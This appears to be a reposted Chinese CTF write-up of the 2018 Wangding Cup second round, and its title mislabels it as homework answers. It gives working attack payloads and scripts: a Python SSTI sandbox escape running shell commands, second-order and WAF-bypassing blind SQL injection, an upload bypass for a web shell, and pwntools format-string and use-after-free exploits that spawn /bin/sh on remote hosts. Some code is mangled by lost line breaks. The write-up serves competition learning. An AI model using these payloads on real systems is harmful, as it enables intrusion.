python123平台作业答案第十二周_【2018年 网鼎杯CTF 第二场】红日安全-网鼎杯WriteUp(24日 更新:web详解)...
本次比賽主要由紅日安全ctf小組奮力拼搏,才可以拿到第二場第四的成績。感謝他們的付出,才可以讓我們看到精彩的wp
1.簽到題
2.虛幻
題目提示漢信碼。使用 binwalk 提取出 9 張圖,拼接成如下用 stegsolve 取 R7 保存并取反色
補(bǔ)上漢信碼的 4 個(gè)角,掃描即可獲得 flag
3.calc
題目如下,這是一個(gè)計(jì)算器,可以執(zhí)行一些簡單的算式。題目提示正則有問題,所以正則應(yīng)該是可以繞過的。
我們先看看服務(wù)器端使用的是什么語言,簡單測試發(fā)現(xiàn)是 python web ,就考慮是否存在 SSTI ,繞過正則執(zhí)行 python 代碼。
我們先來分析一下正則表達(dá)式: ^[0-9.]+\s*[*+-/]\s*[0-9.]+ 。這個(gè)正則存在多個(gè)問題:
第一個(gè)地方: [*+-/]
實(shí)際上短桿 - 在方括號(hào)中有特殊的含義,表示范圍。 [*+-/] 這個(gè)正則實(shí)際上包含了以下字符:
第二個(gè)地方:
正則表達(dá)式末尾的加號(hào) + 并不嚴(yán)謹(jǐn),嚴(yán)謹(jǐn)?shù)膶懛☉?yīng)該在加號(hào)后面添加一個(gè) $ 符號(hào),表示輸入的字符串以數(shù)字結(jié)尾,變成這樣 ^[0-9.]+\s*[*+-/]\s*[0-9.]+$
使用 payload 如下:(百度python沙箱逃逸,第一個(gè)文章中就有payload)
1+1,().__class__.__bases__[0].__subclasses__()[40]('/flag').read()
查看源碼
1+1,().__class__.__bases__[0].__subclasses__()
[59].__init__.__getattribute__('fun'+'c_glo'+'bal'+'s')
['lin'+'eca'+'che'].__dict__['o'+'s'].__dict__['po'+'pen']('cat /usr/local/lib/python2.7/dist-packages/tornado/web.py').read()
這里猜測一下后臺(tái)代碼的執(zhí)行過程:
先用正則對(duì)用戶的輸入進(jìn)行匹配
如果正則匹配不為空,則將用戶的輸入直接傳遞到后臺(tái)模板文件中;否則不執(zhí)行
當(dāng)然這里有對(duì)用戶的輸入進(jìn)行一些過濾
而我們傳入的 1+1,python語句 實(shí)際上是一個(gè)元組,傳到后臺(tái)模板中類似 {{ (1+1,python語句) }}
4.unfinished
題目如下
發(fā)現(xiàn)就一個(gè)登陸頁面,于是嘗試探測是否存在 register.php注冊(cè)頁面。發(fā)現(xiàn)存在,立即注冊(cè)登陸,并查看。
登陸的時(shí)候用到的是郵箱和密碼,而注冊(cè)的時(shí)候還有一個(gè)用戶名,而這個(gè)用戶名卻在登陸后顯示了,所以我們考慮用戶名這里可能存在 二次注入 。
還有一個(gè)點(diǎn)就是,我們抓取注冊(cè)賬號(hào)的數(shù)據(jù)包,一直重放數(shù)據(jù)包會(huì)發(fā)現(xiàn)返回的狀態(tài)碼都是 200 ,這里就有可能存在 update注入 ,之后發(fā)現(xiàn)并沒有更新用戶信息,所以應(yīng)該不存在 update注入 。那我們就針對(duì)用戶名部分,進(jìn)行二次注入測試。
注冊(cè)成功,會(huì)得到 302狀態(tài)碼并跳轉(zhuǎn)至login.php;如果注冊(cè)失敗,只會(huì)返回 200狀態(tài)碼。所以構(gòu)造 payload如下:
email=test@666.com&username=0'%2B(select hex(hex(database())))%2B'0&password=test
進(jìn)行兩次hex解碼后得到數(shù)據(jù)庫名為web:
>>> "373736353632".decode('hex').decode('hex')
'web'
至于為什么 payload 要進(jìn)行兩次 hex加密,看下面這張圖就明白了。
然后這里還要注意一個(gè)問題,就是當(dāng)數(shù)據(jù)進(jìn)過 兩次hex后,會(huì)得到較長的一串只含有數(shù)字的字符串,當(dāng)這個(gè)長字符串轉(zhuǎn)成數(shù)字型數(shù)據(jù)的時(shí)候會(huì)變成科學(xué)計(jì)數(shù)法,也就是說會(huì)丟失數(shù)據(jù)精度,如下:
所以這里我們使用 substr每次取10個(gè)字符長度與 '0' 相加,這樣就不會(huì)丟失數(shù)據(jù)。但是這里使用逗號(hào) , 會(huì)出錯(cuò),所以可以使用類似 substr('test' from 1 for 10) 這種寫法來繞過,具體獲取 flag的代碼如下:
0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0
運(yùn)行腳本如下:
留個(gè)坑周五晚上回來填
5.wafUpload
題目代碼如下:
據(jù)說是 pwnhub 題目改的,不過沒找到,直接來分析代碼吧。上圖代碼 第8-10行 進(jìn)行了 MIME 類型檢測, 第12-20行 對(duì)文件后綴進(jìn)行了檢測,而后綴名則是取 $file 數(shù)組中最后一個(gè)元素。然后在生成文件的時(shí)候,文件路徑又用 $file 數(shù)組第一個(gè)元素做文件名,數(shù)組最后一個(gè)下標(biāo)對(duì)應(yīng)的值作為后綴,這明顯存在不一致可繞過的問題。我們只要控制 $file 數(shù)組中參數(shù)的順序即可繞過并 getshell ,請(qǐng)求數(shù)據(jù)包如下:
6.sqlweb
題目:admin也拿不到flag喔(●'?'●)
打開 BurpSuite Fuzz發(fā)現(xiàn)提示信息,過濾了以下關(guān)鍵字:
admin賬號(hào)可以用弱密碼登陸:admin/admin123
發(fā)現(xiàn)新提示,說只有 wuyanzu 用戶才能拿到 flag 。至此,思路就很清晰了,flag 應(yīng)該就是 wuyanzu 用戶的密碼,或者 wuyanzu 用戶登陸后就能看到 flag ,所以這題就是考察繞過 WAF 進(jìn)行 SQL注入 。
waf:/sleep|benchmark|=|like|regexp|and|\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)
仔細(xì)觀察上面的 WAF ,過濾了空格,可以用 /**/ 來繞過;過濾了 and ,可以用 && 代替;過濾了 substr 、 ascii ,但是還可以用 mid 。而且SQL語句執(zhí)行和不執(zhí)行返回的長度是不一樣的。所以我們構(gòu)造 payload 如下:
wuyanzu'/**/%26%26/**/mid(passwd/**/from/**/1/**/for/**/1)/**/in/**/('f')/**/limit/**/1%23
編寫獲取flag的程序如下:
import requestsflag = ''chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"url = "http://902f59bfbb134985aeef8fb606e07c77373dedd3ef0e4bca.game.ichunqiu.com//sql.php"for i in range(1,50):
for char in chars:
datas = {
"uname" : "wuyanzu'/**/&&/**/mid(passwd/**/from/**/" + str(i) +"/**/for/**/1)/**/in/**/('" + char + "')/**/limit/**/1#",
"passwd" : "rte",
"submit" : "login"
}
r = requests.post(url = url, data = datas)
if len(r.text) == 75:
flag += char
print("[-] " + flag,end="\r",flush=True)
if char == '}':
print("[+] " + flag)
exit()
7.套娃 Lsb 隱寫,bgr 通道
8.martricks
64 位 ida 打開 查找字符串
雙擊進(jìn)入數(shù)據(jù)段跟進(jìn)代碼段
查看偽代碼
感覺可以 fuzz 代碼如下 angr 爆破
即可獲得 flag
9.Easyfmt
直接將用戶輸入作為 printf 的參數(shù),導(dǎo)致格式化字符串漏洞輸入 aaaa 作為測試
經(jīng)測試偏移為 6思路如下:1,利用格式化字符串漏洞,泄露 puts 函數(shù)地址,并計(jì)算 system 的地址,沒有給 libc,所以通過在線網(wǎng)站得到 puts 與 libc 的相對(duì)偏移 2,1,利用格式化字符串,將 system 地址寫入 got 表中 printf 函數(shù)的地址 3,在次輸入’/bin/sh’,得到 shellExp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote('106.75.126.184',58579)
elf = ELF('./pwn')
payload1 = p32(elf.got['puts'])+'%6$s' #gdb.attach(p,'b *0x080485ca') #raw_input('GGGG')
p.recv()
p.sendline(payload1)
p.recv(4)
puts = u32(p.recv(4))
log.info('puts : '+hex(puts))
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
system = puts - 0x05f140 + 0x03a940
printfGot = elf.got['printf']
payload = fmtstr_payload(6,{printfGot:system})p.sendline(payload)
p.send('/bin/sh\0')
p.interactive()
10. fgo
del_servant 函數(shù) free chunk 后沒有將指針置空,導(dǎo)致存在 uaf 或 double free
Add_servant 函數(shù)在我們生成 chunk 前會(huì)自己生成一個(gè) size 為 0x10 的 chunk, 這個(gè) chunk 存在一個(gè)如下的結(jié)構(gòu)體
struct { *print_servant_content; *servantcontent;
}
print_servant_content
函數(shù)
程序中還存在一個(gè)函數(shù),調(diào)用便可以直接拿到 shell總體思路就是用 secret 函數(shù)地址覆蓋結(jié)構(gòu)體中的指針 print_servant_content。步驟:1,先申請(qǐng)三個(gè) srvant,大小只要不是 0x10 就行2,Delete 序號(hào) 0,delete 序號(hào) 1,此時(shí)的 fastbin 鏈表結(jié)構(gòu)
Size 為 0x8 的就是結(jié)構(gòu)體所在的 chunk3,在申請(qǐng)一個(gè) size 為 0x8 的 servant,content 內(nèi)容為 secret 的地址,程序會(huì)先將 0x8eaa050 這個(gè) chunk 存儲(chǔ)結(jié)構(gòu)體,0x8eaa008 這個(gè) chunk 作為內(nèi)容, 但是 0x8eaa008 是序號(hào) 0 存儲(chǔ)結(jié)構(gòu)體的 chunk,secret 會(huì)覆蓋掉它的 *print_servant_content,再次打印 chunk0,便會(huì)執(zhí)行這個(gè)函數(shù)4,腳本:
from pwn import *
p = process('./fgo')
#p = remote('106.75.104.139',26768) secret = 0x08048956
def add(size,content):p.recvuntil('choice:\n')
p.sendline('1')p.recv() p.sendline(str(size))
p.recv() p.sendline(content)
def delete(index): p.recvuntil('choice:\n') p.sendline('2')
p.recv() p.sendline(str(index))
def show(index): p.recvuntil('choice:\n') p.sendline('3')
p.recv() p.sendline(str(index))
add(0x30,'chunk0')
add(0x30,'chunk1') add(0x30,'chunk2') delete(0)
delete(1) #gdb.attach(p) add(8,p32(secret)) show(0) p.interactive()
11.神奇二叉樹
把 1-59 的字符根據(jù) tmpflag 給的幾個(gè)值挑出來,然后第三部有個(gè)紅黑樹的節(jié)點(diǎn) 刪除操作,操作后會(huì)確定每個(gè)節(jié)點(diǎn)的顏色屬性。然后第四部將紅色的 ASCII +1, 黑色 ASCII-1 即可獲得 flag。
12. babyrsa Baby.py
#coding:utf-8
from pwn import *
from LibcSearcher import *
#p = process('./pwn')
p = remote('106.75.104.139',26768) elf = ELF('./pwn')
puts_got = elf.got['puts'] println = 0x0804862B
rr = lambda x : p.recvuntil(x) ss = lambda x : p.sendline(x) sd = lambda x :
p.send(x)
def add(sz,ab): rr("Your choice:")
ss("1") rr("name :") ss(str(sz)) rr("ability :") ss(ab)
def delete(idx): rr("Your choice:")
ss("2") rr("Index :") ss(str(idx))
def show(idx): rr("Your choice:")
ss("3")
rr("Index :") ss(str(idx))
return rr("--------")
add(24,24*'a') add(24,24*'a') delete(0) delete(1)
add(8,p32(println) + p32(puts_got)) leak = show(0)[:0x4].ljust(4,'\x00') leak = u32(leak)
obj = LibcSearcher('puts',leak) libc_base = leak - obj.dump('puts')
system = obj.dump("system") + libc_base
delete(2) add(8,p32(system) + "/;sh")
#show(0)
#rr("token") #p.sendline("icq3dde2e8d01777e376b01436482dfc")
p.interactive() ## manually ## show(0)
Brsa.py
from pwn import *
from LibcSearcher import LibcSearcher
# context(log_level ='debug')
# r = remote('127.0.0.1',9999)
r =remote('106.75.126.184',58579)
# r=process('pwn')
elf = ELF('pwn')
libc_start_get = elf.get['puts']
print r.recv() r.send(p32(libc_start_get)+'#'+'%6$s'+'#') # raw_input()
r.recvuntil('#')
puts_addr = u32(r.recvuntil('#')[:4])
libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts')
print 'Libc base addr:' + hex(libc_base)
printf_get = elf.get['printf']
system_off = libc.dump('system')
system = libc_base +system_off
print 'system addr: ',hex(system) r.sendline(fmtstr_payload(6,
{printf_get:system})) r.recv()
r.interactive()
13. hvm
Hvm.py #!/usr/bin/env python
from pwn import *
def hvm():
io.recvuntil('hello\n')
# gdb.attach(io)
payload =
'/bin/sh\x00'+flat(0x0f,0x38000000,4,0,0x0d,0x1a,0,1,0x3b000000,0xe,word_size=32,endianness ='little')
payload =
payload.ljust(0x30,'\x00')+flat(0x400,-0x411,word_size=32,endianness='big')
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
context(arch='amd64', kernel='amd64', os='linux') HOST, PORT = '0.0.0.0', 9999
# libc = ELF('./libc.so.6')
if len(sys.argv) > 1 and sys.argv[1] == 'l':
io = process('./hvm')
context.log_level = 'debug' else:
io = remote(HOST, PORT)
context.log_level = 'debug' hvm()
與50位技術(shù)專家面對(duì)面20年技術(shù)見證,附贈(zèng)技術(shù)全景圖總結(jié)
以上是生活随笔為你收集整理的python123平台作业答案第十二周_【2018年 网鼎杯CTF 第二场】红日安全-网鼎杯WriteUp(24日 更新:web详解)...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python 笔试题 英方_经典算法题
- 下一篇: c malloc 头文件_C 数据类型